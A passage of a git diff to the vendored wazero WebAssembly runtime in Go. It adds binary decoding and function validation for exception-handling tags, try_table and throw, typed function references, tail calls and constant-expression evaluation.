rejects concrete reference types (ref $t) whose type +// index is not yet defined. For standalone types, maxTypeIndex is the count of +// types decoded so far; for rec groups, it is the index after the last member, +// allowing mutual references within the group. +func validateTypeForwardRefs(ft *wasm.FunctionType, maxTypeIndex uint32) error { + for i, vt := range ft.Params { + if vt.IsConcreteRef() && vt.TypeIndex() >= maxTypeIndex { + return fmt.Errorf("unknown type index %d in param[%d]", vt.TypeIndex(), i) + } + } + for i, vt := range ft.Results { + if vt.IsConcreteRef() && vt.TypeIndex() >= maxTypeIndex { + return fmt.Errorf("unknown type index %d in result[%d]", vt.TypeIndex(), i) + } + } + return nil +} + // decodeImportSection decodes the decoded import segments plus the count per wasm.ExternType. func decodeImportSection( r *bytes.Reader, @@ -33,7 +88,7 @@ func decodeImportSection( enabledFeatures api.CoreFeatures, ) (result []wasm.Import, perModule map[string][]*wasm.Import, - funcCount, globalCount, memoryCount, tableCount wasm.Index, err error, + funcCount, globalCount, memoryCount, tableCount, tagCount wasm.Index, err error, ) { vs, _, err := leb128.DecodeUint32(r) if err != nil { @@ -61,6 +116,9 @@ func decodeImportSection( case wasm.ExternTypeTable: imp.IndexPerType = tableCount tableCount++ + case wasm.ExternTypeTag: + imp.IndexPerType = tagCount + tagCount++ } perModule[imp.Module] = append(perModule[imp.Module], imp) } @@ -216,6 +274,31 @@ func decodeDataSection(r *bytes.Reader, enabledFeatures api.CoreFeatures) ([]was return result, nil } +func decodeTagSection(r *bytes.Reader) ([]wasm.Tag, error) { + vs, _, err := leb128.DecodeUint32(r) + if err != nil { + return nil, fmt.Errorf("get size of vector: %w", err) + } + + result := make([]wasm.Tag, vs) + for i := uint32(0); i < vs; i++ { + // Read attribute byte (must be 0x00 per spec). + attr, err := r.ReadByte() + if err != nil { + return nil, fmt.Errorf("read tag[%d] attribute: %w", i, err) + } + if attr != 0x00 { + return nil, fmt.Errorf("tag[%d] has invalid attribute: %#x", i, attr) + } + // Read type index. + result[i].Type, _, err = leb128.DecodeUint32(r) + if err != nil { + return nil, fmt.Errorf("read tag[%d] type index: %w", i, err) + } + } + return result, nil +} + func decodeDataCountSection(r *bytes.Reader) (count *uint32, err error) { v, _, err := leb128.DecodeUint32(r) if err != nil && err != io.EOF { diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/table.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/table.go index 353ec756..ff3b14d2 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/table.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/table.go @@ -12,11 +12,39 @@ import ( // // See https://www.w3.org/TR/2019/REC-wasm-core-1-20191205/#binary-table func decodeTable(r *bytes.Reader, enabledFeatures api.CoreFeatures, ret *wasm.Table) (err error) { - ret.Type, err = r.ReadByte() + b, err := r.ReadByte() if err != nil { return fmt.Errorf("read leading byte: %v", err) } + hasInitExpr := false + if b == 0x40 { + // Table with initializer expression: 0x40 0x00 tabletype expr + reserved, err := r.ReadByte() + if err != nil { + return fmt.Errorf("read reserved byte after 0x40: %v", err) + } + if reserved != 0x00 { + return fmt.Errorf("expected 0x00 after 0x40 table prefix, got 0x%02x", reserved) + } + hasInitExpr = true + b, err = r.ReadByte() + if err != nil { + return fmt.Errorf("read table ref type: %v", err) + } + } + + switch b { + case wasm.RefPrefixNullable, wasm.RefPrefixNonNullable: + vt, err := decodeRefType(r, b == wasm.RefPrefixNullable) + if err != nil { + return err + } + ret.Type = vt + default: + ret.Type = wasm.ValueType(b) + } + if ret.Type != wasm.RefTypeFuncref { if err = enabledFeatures.RequireEnabled(api.CoreFeatureReferenceTypes); err != nil { return fmt.Errorf("table type funcref is invalid: %w", err) @@ -39,5 +67,13 @@ func decodeTable(r *bytes.Reader, enabledFeatures api.CoreFeatures, ret *wasm.Ta if shared { return fmt.Errorf("tables cannot be marked as shared") } + + if hasInitExpr { + var initExpr wasm.ConstantExpression + if err := decodeConstantExpression(r, enabledFeatures, &initExpr); err != nil { + return fmt.Errorf("read table init expr: %v", err) + } + ret.InitExpr = &initExpr + } return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/value.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/value.go index dfc4417e..f32de1cb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/value.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/value.go @@ -16,23 +16,61 @@ func decodeValueTypes(r *bytes.Reader, num uint32) ([]wasm.ValueType, error) { return nil, nil } - ret := make([]wasm.ValueType, num) - _, err := io.ReadFull(r, ret) - if err != nil { - return nil, err - } - - for _, v := range ret { - switch v { - case wasm.ValueTypeI32, wasm.ValueTypeF32, wasm.ValueTypeI64, wasm.ValueTypeF64, - wasm.ValueTypeExternref, wasm.ValueTypeFuncref, wasm.ValueTypeV128: + ret := make([]wasm.ValueType, 0, num) + for i := uint32(0); i < num; i++ { + b, err := r.ReadByte() + if err != nil { + return nil, err + } + switch b { + case wasm.ValueTypeI32.Kind(), wasm.ValueTypeF32.Kind(), wasm.ValueTypeI64.Kind(), wasm.ValueTypeF64.Kind(), + wasm.ValueTypeExternref.Kind(), wasm.ValueTypeFuncref.Kind(), wasm.ValueTypeV128.Kind(), + wasm.ValueTypeExnref.Kind(): + ret = append(ret, wasm.ValueType(b)) + case wasm.RefPrefixNullable, wasm.RefPrefixNonNullable: + vt, err := decodeRefType(r, b == wasm.RefPrefixNullable) + if err != nil { + return nil, err + } + ret = append(ret, vt) default: - return nil, fmt.Errorf("invalid value type: %d", v) + return nil, fmt.Errorf("invalid value type: %d", b) } } return ret, nil } +// decodeRefType decodes a heap type from r and returns the corresponding +// ValueType with the given nullability. Abstract nullable refs are desugared +// to their short forms: +// - (ref null func) -> funcref +// - (ref null extern) -> externref +// - (ref null exn) -> exnref +func decodeRefType(r *bytes.Reader, nullable bool) (wasm.ValueType, error) { + ht, _, err := leb128.DecodeInt33AsInt64(r) + if err != nil { + return 0, fmt.Errorf("read ref heap type: %w", err) + } + var vt wasm.ValueType + switch ht { + case wasm.HeapTypeFunc: + vt = wasm.ValueTypeFuncref + case wasm.HeapTypeExtern: + vt = wasm.ValueTypeExternref + case wasm.HeapTypeExn: + vt = wasm.ValueTypeExnref + default: + if ht < 0 { + return 0, fmt.Errorf("unknown abstract heap type: %d", ht) + } + vt = wasm.ValueTypeConcreteRef(uint32(ht), nullable) + } + if !nullable { + vt = vt.AsNonNullable() + } + return vt, nil +} + // decodeUTF8 decodes a size prefixed string from the reader, returning it and the count of bytes read. // contextFormat and contextArgs apply an error format when present func decodeUTF8(r *bytes.Reader, contextFormat string, contextArgs ...interface{}) (string, uint32, error) { diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/const_expr.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/const_expr.go new file mode 100644 index 00000000..eb6ca67e --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/const_expr.go @@ -0,0 +1,259 @@ +package wasm + +import ( + "encoding/binary" + "errors" + "fmt" + "io" + + "github.com/tetratelabs/wazero/internal/leb128" +) + +type ConstantExpression struct { + Data []byte +} + +func evaluateConstExpr(e *ConstantExpression, globalResolver func(globalIndex Index) (ValueType, uint64, uint64, error), funcRefResolver func(funcIndex Index) (Reference, error)) ([]uint64, ValueType, error) { + var stack []uint64 + var typeStack []ValueType + var pc uint64 + data := e.Data + for { + if pc >= uint64(len(data)) { + return nil, 0, io.ErrUnexpectedEOF + } + opCode := data[pc] + pc++ + switch opCode { + case OpcodeI32Const: + v, n, err := leb128.LoadInt32(data[pc:]) + if err != nil { + return nil, 0, fmt.Errorf("read i32: %w", err) + } + pc += n + stack = append(stack, uint64(uint32(v))) + typeStack = append(typeStack, ValueTypeI32) + case OpcodeI64Const: + v, n, err := leb128.LoadInt64(data[pc:]) + if err != nil { + return nil, 0, fmt.Errorf("read i64: %w", err) + } + pc += n + stack = append(stack, uint64(v)) + typeStack = append(typeStack, ValueTypeI64) + case OpcodeF32Const: + if len(data[pc:]) < 4 { + return nil, 0, io.ErrUnexpectedEOF + } + v := binary.LittleEndian.Uint32(data[pc:]) + pc += 4 + stack = append(stack, uint64(v)) + typeStack = append(typeStack, ValueTypeF32) + case OpcodeF64Const: + if len(data[pc:]) < 8 { + return nil, 0, io.ErrUnexpectedEOF + } + v := binary.LittleEndian.Uint64(data[pc:]) + pc += 8 + stack = append(stack, uint64(v)) + typeStack = append(typeStack, ValueTypeF64) + case OpcodeGlobalGet: + v, n, err := leb128.LoadUint32(data[pc:]) + if err != nil { + return nil, 0, fmt.Errorf("read index of global: %w", err) + } + pc += n + typ, lo, hi, err := globalResolver(Index(v)) + if err != nil { + return nil, 0, err + } + switch typ { + case ValueTypeV128: + stack = append(stack, lo, hi) + default: + stack = append(stack, lo) + } + typeStack = append(typeStack, typ) + case OpcodeRefNull: + // Reference types are opaque 64bit pointer at runtime. + if pc >= uint64(len(data)) { + return nil, 0, fmt.Errorf("read reference type for ref.null: %w", io.ErrShortBuffer) + } + b := data[pc] + var valType ValueType + switch b { + case RefTypeFuncref.Kind(): + valType = RefTypeFuncref + pc++ + case RefTypeExternref.Kind(): + valType = RefTypeExternref + pc++ + case ValueTypeExnref.Kind(): + valType = ValueTypeExnref + pc++ + default: + // Concrete type index encoded as LEB128. + typeIdx, n, err := leb128.LoadUint32(data[pc:]) + if err != nil { + return nil, 0, fmt.Errorf("invalid type for ref.null: 0x%x", b) + } + pc += n + valType = ValueTypeConcreteRef(typeIdx, true) + } + stack = append(stack, 0) + typeStack = append(typeStack, valType) + case OpcodeRefFunc: + v, n, err := leb128.LoadUint32(data[pc:]) + if err != nil { + return nil, 0, fmt.Errorf("read i32: %w", err) + } + pc += n + ref, err := funcRefResolver(Index(v)) + if err != nil { + return nil, 0, err + } + stack = append(stack, uint64(ref)) + typeStack = append(typeStack, ValueTypeFuncref) + case OpcodeVecPrefix: + if data[pc] != OpcodeVecV128Const { + return nil, 0, fmt.Errorf("invalid vector opcode for const expression: %#x", data[pc-1]) + } + pc++ + if len(data[pc:]) < 16 { + return nil, 0, fmt.Errorf("%s needs 16 bytes but was %d bytes", OpcodeVecV128ConstName, len(data[pc:])) + } + lo := binary.LittleEndian.Uint64(data[pc:]) + pc += 8 + hi := binary.LittleEndian.Uint64(data[pc:]) + pc += 8 + stack = append(stack, lo, hi) + typeStack = append(typeStack, ValueTypeV128) + case OpcodeI32Add: + if len(typeStack) < 2 { + return nil, 0, errors.New("stack underflow on i32.add") + } + v1 := typeStack[len(typeStack)-1] + v2 := typeStack[len(typeStack)-2] + if v1 != ValueTypeI32 || v2 != ValueTypeI32 { + return nil, 0, fmt.Errorf("type mismatch on i32.add: %s, %s", ValueTypeName(v2), ValueTypeName(v1)) + } + b, a := stack[len(stack)-1], stack[len(stack)-2] + stack = stack[:len(stack)-2] + stack = append(stack, uint64(uint32(a)+uint32(b))) + typeStack = typeStack[:len(typeStack)-2] + typeStack = append(typeStack, ValueTypeI32) + case OpcodeI32Sub: + if len(typeStack) < 2 { + return nil, 0, errors.New("stack underflow on i32.sub") + } + v1 := typeStack[len(typeStack)-1] + v2 := typeStack[len(typeStack)-2] + if v1 != ValueTypeI32 || v2 != ValueTypeI32 { + return nil, 0, fmt.Errorf("type mismatch on i32.sub: %s, %s", ValueTypeName(v2), ValueTypeName(v1)) + } + b, a := stack[len(stack)-1], stack[len(stack)-2] + stack = stack[:len(stack)-2] + stack = append(stack, uint64(uint32(a)-uint32(b))) + typeStack = typeStack[:len(typeStack)-2] + typeStack = append(typeStack, ValueTypeI32) + case OpcodeI32Mul: + if len(typeStack) < 2 { + return nil, 0, errors.New("stack underflow on i32.mul") + } + v1 := typeStack[len(typeStack)-1] + v2 := typeStack[len(typeStack)-2] + if v1 != ValueTypeI32 || v2 != ValueTypeI32 { + return nil, 0, fmt.Errorf("type mismatch on i32.mul: %s, %s", ValueTypeName(v2), ValueTypeName(v1)) + } + b, a := stack[len(stack)-1], stack[len(stack)-2] + stack = stack[:len(stack)-2] + stack = append(stack, uint64(uint32(a)*uint32(b))) + typeStack = typeStack[:len(typeStack)-2] + typeStack = append(typeStack, ValueTypeI32) + case OpcodeI64Add: + if len(typeStack) < 2 { + return nil, 0, errors.New("stack underflow on i64.add") + } + v1 := typeStack[len(typeStack)-1] + v2 := typeStack[len(typeStack)-2] + if v1 != ValueTypeI64 || v2 != ValueTypeI64 { + return nil, 0, fmt.Errorf("type mismatch on i64.add: %s, %s", ValueTypeName(v2), ValueTypeName(v1)) + } + b, a := stack[len(stack)-1], stack[len(stack)-2] + stack = stack[:len(stack)-2] + stack = append(stack, a+b) + typeStack = typeStack[:len(typeStack)-2] + typeStack = append(typeStack, ValueTypeI64) + case OpcodeI64Sub: + if len(typeStack) < 2 { + return nil, 0, errors.New("stack underflow on i64.sub") + } + v1 := typeStack[len(typeStack)-1] + v2 := typeStack[len(typeStack)-2] + if v1 != ValueTypeI64 || v2 != ValueTypeI64 { + return nil, 0, fmt.Errorf("type mismatch on i64.sub: %s, %s", ValueTypeName(v2), ValueTypeName(v1)) + } + b, a := stack[len(stack)-1], stack[len(stack)-2] + stack = stack[:len(stack)-2] + stack = append(stack, a-b) + typeStack = typeStack[:len(typeStack)-2] + typeStack = append(typeStack, ValueTypeI64) + case OpcodeI64Mul: + if len(typeStack) < 2 { + return nil, 0, errors.New("stack underflow on i64.mul") + } + v1 := typeStack[len(typeStack)-1] + v2 := typeStack[len(typeStack)-2] + if v1 != ValueTypeI64 || v2 != ValueTypeI64 { + return nil, 0, fmt.Errorf("type mismatch on i64.mul: %s, %s", ValueTypeName(v2), ValueTypeName(v1)) + } + b, a := stack[len(stack)-1], stack[len(stack)-2] + stack = stack[:len(stack)-2] + stack = append(stack, a*b) + typeStack = typeStack[:len(typeStack)-2] + typeStack = append(typeStack, ValueTypeI64) + case OpcodeEnd: + if len(typeStack) != 1 { + return nil, 0, errors.New("stack has more than one value at end of constant expression") + } + return stack, typeStack[0], nil + default: + return nil, 0, fmt.Errorf("invalid opcode for const expression: 0x%x", opCode) + } + } +} + +func evaluateConstExprInModuleInstance(e *ConstantExpression, m *ModuleInstance) []uint64 { + v, _, _ := evaluateConstExpr( + e, + func(globalIndex Index) (ValueType, uint64, uint64, error) { + g := m.Globals[globalIndex] + return g.Type.ValType, g.Val, g.ValHi, nil + }, + func(funcIndex Index) (Reference, error) { + return m.Engine.FunctionInstanceReference(funcIndex), nil + }, + ) + return v +} + +func NewConstantExpressionFromOpcode( + opcode byte, opData []byte, +) ConstantExpression { + data := make([]byte, 0, 3+len(opData)) // 2 for opcode and optional vec prefix, 1 for end + if opcode == OpcodeVecV128Const { + data = append(data, OpcodeVecPrefix) + } + data = append(data, opcode) + data = append(data, opData...) + data = append(data, OpcodeEnd) + return ConstantExpression{Data: data} +} + +func NewConstantExpressionFromI32(val int32) ConstantExpression { + return NewConstantExpressionFromOpcode(OpcodeI32Const, leb128.EncodeInt32(val)) +} + +func NewConstantExpressionFromI64(val int64) ConstantExpression { + return NewConstantExpressionFromOpcode(OpcodeI64Const, leb128.EncodeInt64(val)) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/counts.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/counts.go index 685a4094..39e87272 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/counts.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/counts.go @@ -45,6 +45,8 @@ func (m *Module) SectionElementCount(sectionID SectionID) uint32 { // element as return uint32(len(m.CodeSection)) case SectionIDData: return uint32(len(m.DataSection)) + case SectionIDTag: + return uint32(len(m.TagSection)) default: panic(fmt.Errorf("BUG: unknown section: %d", sectionID)) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/exception.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/exception.go new file mode 100644 index 00000000..d47c44f6 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/exception.go @@ -0,0 +1,9 @@ +package wasm + +// Exception represents a thrown WebAssembly exception. +type Exception struct { + // Tag is the tag instance that was thrown. + Tag *TagInstance + // Params holds the argument values matching the tag's function type params. + Params []uint64 +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/func_validation.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/func_validation.go index 60448922..a33233fe 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/func_validation.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/func_validation.go @@ -4,6 +4,8 @@ import ( "bytes" "errors" "fmt" + "maps" + "slices" "strconv" "strings" @@ -28,9 +30,9 @@ const maximumValuesOnStack = 1 << 27 // Returns an error if the instruction sequence is not valid, // or potentially it can exceed the maximum number of values on the stack. func (m *Module) validateFunction(sts *stacks, enabledFeatures api.CoreFeatures, idx Index, functions []Index, - globals []GlobalType, memory *Memory, tables []Table, declaredFunctionIndexes map[Index]struct{}, br *bytes.Reader, + globals []GlobalType, memory *Memory, tables []Table, tags []Index, declaredFunctionIndexes map[Index]struct{}, br *bytes.Reader, ) error { - return m.validateFunctionWithMaxStackValues(sts, enabledFeatures, idx, functions, globals, memory, tables, maximumValuesOnStack, declaredFunctionIndexes, br) + return m.validateFunctionWithMaxStackValues(sts, enabledFeatures, idx, functions, globals, memory, tables, tags, maximumValuesOnStack, declaredFunctionIndexes, br) } func readMemArg(pc uint64, body []byte) (align, offset uint32, read uint64, err error) { @@ -39,6 +41,11 @@ func readMemArg(pc uint64, body []byte) (align, offset uint32, read uint64, err err = fmt.Errorf("read memory align: %v", err) return } + if align >= 32 { + // Prevent 1<= %d(=len(locals)+len(parameters))", OpcodeLocalGetName, index, l) } + if err := sts.requireLocalInit(index, inputLen, localTypes); err != nil { + return err + } if index < inputLen { valueTypeStack.push(functionType.Params[index]) } else { @@ -361,6 +372,7 @@ func (m *Module) validateFunctionWithMaxStackValues( if err := valueTypeStack.popAndVerifyType(expType); err != nil { return err } + sts.markLocalInit(index, inputLen, localTypes) case OpcodeLocalTee: inputLen := uint32(len(functionType.Params)) if l := uint32(len(localTypes)) + inputLen; index >= l { @@ -377,6 +389,7 @@ func (m *Module) validateFunctionWithMaxStackValues( return err } valueTypeStack.push(expType) + sts.markLocalInit(index, inputLen, localTypes) case OpcodeGlobalGet: if index >= uint32(len(globals)) { return fmt.Errorf("invalid index for %s", OpcodeGlobalGetName) @@ -480,11 +493,9 @@ func (m *Module) validateFunctionWithMaxStackValues( // function type might result in invalid value types if the block is the outermost label // which equals the function's type. if lnLabel.op != OpcodeLoop { // Loop operation doesn't require results since the continuation is the beginning of the loop. - defaultLabelType = make([]ValueType, len(lnLabel.blockType.Results)) - copy(defaultLabelType, lnLabel.blockType.Results) + defaultLabelType = slices.Clone(lnLabel.blockType.Results) } else { - defaultLabelType = make([]ValueType, len(lnLabel.blockType.Params)) - copy(defaultLabelType, lnLabel.blockType.Params) + defaultLabelType = slices.Clone(lnLabel.blockType.Params) } if enabledFeatures.IsEnabled(api.CoreFeatureReferenceTypes) { @@ -499,9 +510,8 @@ func (m *Module) validateFunctionWithMaxStackValues( return err } if actual == valueTypeUnknown { - // Re-assign the expected type to unknown. defaultLabelType[index] = valueTypeUnknown - } else if actual != exp { + } else if !isRefSubtypeOf(actual, exp) { return typeMismatchError(true, OpcodeBrTableName, actual, exp, i) } } @@ -526,15 +536,152 @@ func (m *Module) validateFunctionWithMaxStackValues( return fmt.Errorf("inconsistent block type length for %s at %d; %v (ln=%d) != %v (l=%d)", OpcodeBrTableName, l, defaultLabelType, ln, tableLabelType, l) } for i := range defaultLabelType { - if defaultLabelType[i] != valueTypeUnknown && defaultLabelType[i] != tableLabelType[i] { - return fmt.Errorf("incosistent block type for %s at %d", OpcodeBrTableName, l) + if defaultLabelType[i] != valueTypeUnknown && !areRefTypesCompatible(defaultLabelType[i], tableLabelType[i]) { + return fmt.Errorf("inconsistent block type for %s at %d", OpcodeBrTableName, l) } } } // br_table instruction is stack-polymorphic. valueTypeStack.unreachable() - } else if op == OpcodeCall { + } else if op == OpcodeThrow { + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesExceptionHandling); err != nil { + return fmt.Errorf("%s invalid as %v", OpcodeThrowName, err) + } + pc++ + tagIndex, num, err := leb128.LoadUint32(body[pc:]) + if err != nil { + return fmt.Errorf("read immediate: %v", err) + } + pc += num - 1 + if tagIndex >= uint32(len(tags)) { + return fmt.Errorf("invalid tag index for %s: %d", OpcodeThrowName, tagIndex) + } + tagType := &m.TypeSection[tags[tagIndex]] + // Pop values matching the tag's params in reverse order. + for i := len(tagType.Params) - 1; i >= 0; i-- { + if err := valueTypeStack.popAndVerifyType(tagType.Params[i]); err != nil { + return fmt.Errorf("type mismatch on %s operation: %v", OpcodeThrowName, err) + } + } + // throw is stack-polymorphic (never returns). + valueTypeStack.unreachable() + } else if op == OpcodeThrowRef { + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesExceptionHandling); err != nil { + return fmt.Errorf("%s invalid as %v", OpcodeThrowRefName, err) + } + if err := valueTypeStack.popAndVerifyType(ValueTypeExnref); err != nil { + return fmt.Errorf("type mismatch on %s: %v", OpcodeThrowRefName, err) + } + // throw_ref is stack-polymorphic (never returns). + valueTypeStack.unreachable() + } else if op == OpcodeTryTable { + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesExceptionHandling); err != nil { + return fmt.Errorf("%s invalid as %v", OpcodeTryTableName, err) + } + br.Reset(body[pc+1:]) + bt, num, err := DecodeBlockType(m.TypeSection, br, enabledFeatures) + if err != nil { + return fmt.Errorf("read block: %w", err) + } + pc += num + + // Read catch clause count. + catchCount, catchNum, err := leb128.LoadUint32(body[pc+1:]) + if err != nil { + return fmt.Errorf("read catch count: %v", err) + } + pc += catchNum + + // Validate each catch clause. + for i := uint32(0); i < catchCount; i++ { + pc++ + catchKind := body[pc] + switch catchKind { + case CatchKindCatch, CatchKindCatchRef: + pc++ + tagIdx, tagNum, err := leb128.LoadUint32(body[pc:]) + if err != nil { + return fmt.Errorf("read catch tag index: %v", err) + } + pc += tagNum - 1 + if tagIdx >= uint32(len(tags)) { + return fmt.Errorf("invalid tag index in catch clause: %d", tagIdx) + } + tagType := &m.TypeSection[tags[tagIdx]] + pc++ + labelIdx, labelNum, err := leb128.LoadUint32(body[pc:]) + if err != nil { + return fmt.Errorf("read catch label index: %v", err) + } + pc += labelNum - 1 + if int(labelIdx) >= len(controlBlockStack.stack) { + return fmt.Errorf("invalid label index in catch clause: %d", labelIdx) + } + // Validate that the target label can accept the catch values. + target := &controlBlockStack.stack[len(controlBlockStack.stack)-int(labelIdx)-1] + var expectedTypes []ValueType + if target.op == OpcodeLoop { + expectedTypes = target.blockType.Params + } else { + expectedTypes = target.blockType.Results + } + var catchTypes []ValueType + catchTypes = append(catchTypes, tagType.Params...) + if catchKind == CatchKindCatchRef { + catchTypes = append(catchTypes, ValueTypeExnref.AsNonNullable()) + } + if len(catchTypes) != len(expectedTypes) { + return fmt.Errorf("catch clause type mismatch: catch delivers %d values but label expects %d", len(catchTypes), len(expectedTypes)) + } + for j := range catchTypes { + if !isRefSubtypeOf(catchTypes[j], expectedTypes[j]) { + return fmt.Errorf("catch clause type mismatch at index %d: %v is not a subtype of %v", j, catchTypes[j], expectedTypes[j]) + } + } + case CatchKindCatchAll, CatchKindCatchAllRef: + pc++ + labelIdx, labelNum, err := leb128.LoadUint32(body[pc:]) + if err != nil { + return fmt.Errorf("read catch_all label index: %v", err) + } + pc += labelNum - 1 + if int(labelIdx) >= len(controlBlockStack.stack) { + return fmt.Errorf("invalid label index in catch_all clause: %d", labelIdx) + } + target := &controlBlockStack.stack[len(controlBlockStack.stack)-int(labelIdx)-1] + var expectedTypes []ValueType + if target.op == OpcodeLoop { + expectedTypes = target.blockType.Params + } else { + expectedTypes = target.blockType.Results + } + var catchTypes []ValueType + if catchKind == CatchKindCatchAllRef { + catchTypes = append(catchTypes, ValueTypeExnref.AsNonNullable()) + } + if len(catchTypes) != len(expectedTypes) { + return fmt.Errorf("catch_all clause type mismatch: catch delivers %d values but label expects %d", len(catchTypes), len(expectedTypes)) + } + for j := range catchTypes { + if !isRefSubtypeOf(catchTypes[j], expectedTypes[j]) { + return fmt.Errorf("catch_all clause type mismatch at index %d", j) + } + } + default: + return fmt.Errorf("invalid catch kind: %#x", catchKind) + } + } + + controlBlockStack.push(pc, 0, 0, bt, 0, op) + if err = valueTypeStack.popParams(op, bt.Params, false); err != nil { + return err + } + for _, p := range bt.Params { + valueTypeStack.push(p) + } + valueTypeStack.pushStackLimit(len(bt.Params)) + } else if op == OpcodeCall || op == OpcodeTailCallReturnCall { pc++ index, num, err := leb128.LoadUint32(body[pc:]) if err != nil { @@ -544,16 +691,26 @@ func (m *Module) validateFunctionWithMaxStackValues( if int(index) >= len(functions) { return fmt.Errorf("invalid function index") } + + var opcodeName string + if op == OpcodeCall { + opcodeName = OpcodeCallName + } else { + opcodeName = OpcodeTailCallReturnCallName + } + funcType := &m.TypeSection[functions[index]] - for i := 0; i < len(funcType.Params); i++ { - if err := valueTypeStack.popAndVerifyType(funcType.Params[len(funcType.Params)-1-i]); err != nil { - return fmt.Errorf("type mismatch on %s operation param type: %v", OpcodeCallName, err) - } + if err := sts.validateCallSignature(opcodeName, funcType); err != nil { + return err } - for _, exp := range funcType.Results { - valueTypeStack.push(exp) + if op == OpcodeTailCallReturnCall { + if err := sts.validateReturnCall(OpcodeTailCallReturnCallName, enabledFeatures, funcType, functionType); err != nil { + return err + } + // behaves as a jump. + valueTypeStack.unreachable() } - } else if op == OpcodeCallIndirect { + } else if op == OpcodeCallIndirect || op == OpcodeTailCallReturnCallIndirect { pc++ typeIndex, num, err := leb128.LoadUint32(body[pc:]) if err != nil { @@ -561,8 +718,15 @@ func (m *Module) validateFunctionWithMaxStackValues( } pc += num + var opcodeName string + if op == OpcodeCallIndirect { + opcodeName = OpcodeCallIndirectName + } else { + opcodeName = OpcodeTailCallReturnCallIndirectName + } + if int(typeIndex) >= len(m.TypeSection) { - return fmt.Errorf("invalid type index at %s: %d", OpcodeCallIndirectName, typeIndex) + return fmt.Errorf("invalid type index at %s: %d", opcodeName, typeIndex) } tableIndex, num, err := leb128.LoadUint32(body[pc:]) @@ -582,20 +746,50 @@ func (m *Module) validateFunctionWithMaxStackValues( table := tables[tableIndex] if table.Type != RefTypeFuncref { - return fmt.Errorf("table is not funcref type but was %s for %s", RefTypeName(table.Type), OpcodeCallIndirectName) + return fmt.Errorf("table is not funcref type but was %s for %s", RefTypeName(table.Type), opcodeName) } if err = valueTypeStack.popAndVerifyType(ValueTypeI32); err != nil { - return fmt.Errorf("cannot pop the offset in table for %s", OpcodeCallIndirectName) + return fmt.Errorf("cannot pop the offset in table for %s", opcodeName) } funcType := &m.TypeSection[typeIndex] - for i := 0; i < len(funcType.Params); i++ { - if err = valueTypeStack.popAndVerifyType(funcType.Params[len(funcType.Params)-1-i]); err != nil { - return fmt.Errorf("type mismatch on %s operation input type", OpcodeCallIndirectName) + if err := sts.validateCallSignature(opcodeName, funcType); err != nil { + return err + } + if op == OpcodeTailCallReturnCallIndirect { + if err := sts.validateReturnCall(OpcodeTailCallReturnCallIndirectName, enabledFeatures, funcType, functionType); err != nil { + return err } + // behaves as a jump. + valueTypeStack.unreachable() } - for _, exp := range funcType.Results { - valueTypeStack.push(exp) + } else if op == OpcodeCallRef || op == OpcodeReturnCallRef { + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesTypedFunctionReferences); err != nil { + return fmt.Errorf("%s invalid as %v", instructionNames[op], err) + } + pc++ + typeIndex, num, err := leb128.LoadUint32(body[pc:]) + if err != nil { + return fmt.Errorf("read immediate: %v", err) + } + pc += num - 1 + if int(typeIndex) >= len(m.TypeSection) { + return fmt.Errorf("invalid type index at %s: %d", instructionNames[op], typeIndex) + } + // Pop the funcref operand (nullable concrete ref to the type). + if err := valueTypeStack.popAndVerifyType(ValueTypeConcreteRef(typeIndex, true)); err != nil { + return fmt.Errorf("type mismatch on %s operation: %v", instructionNames[op], err) + } + funcType := &m.TypeSection[typeIndex] + if err := sts.validateCallSignature(instructionNames[op], funcType); err != nil { + return err + } + if op == OpcodeReturnCallRef { + if err := sts.validateReturnCall(OpcodeReturnCallRefName, enabledFeatures, funcType, functionType); err != nil { + return err + } + // behaves as a jump. + valueTypeStack.unreachable() } } else if OpcodeI32Eqz <= op && op <= OpcodeI64Extend32S { switch op { @@ -817,13 +1011,28 @@ func (m *Module) validateFunctionWithMaxStackValues( switch op { case OpcodeRefNull: pc++ - switch reftype := body[pc]; reftype { + switch reftype := body[pc]; ValueType(reftype) { case ValueTypeExternref: valueTypeStack.push(ValueTypeExternref) case ValueTypeFuncref: valueTypeStack.push(ValueTypeFuncref) + case ValueTypeExnref: + valueTypeStack.push(ValueTypeExnref) default: - return fmt.Errorf("unknown type for ref.null: 0x%x", reftype) + // Concrete type index encoded as LEB128 u32. + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesTypedFunctionReferences); err != nil { + return fmt.Errorf("ref.null with concrete type invalid as %v", err) + } + br.Reset(body[pc:]) + typeIdx, num, err := leb128.DecodeUint32(br) + if err != nil { + return fmt.Errorf("unknown type for ref.null: 0x%x", reftype) + } + if int(typeIdx) >= len(m.TypeSection) { + return fmt.Errorf("unknown type for ref.null: type index %d out of range", typeIdx) + } + pc += uint64(num) - 1 + valueTypeStack.push(ValueTypeConcreteRef(typeIdx, true)) } case OpcodeRefIsNull: tp, err := valueTypeStack.pop() @@ -843,8 +1052,119 @@ func (m *Module) validateFunctionWithMaxStackValues( return fmt.Errorf("undeclared function index %d for ref.func", index) } pc += num - 1 - 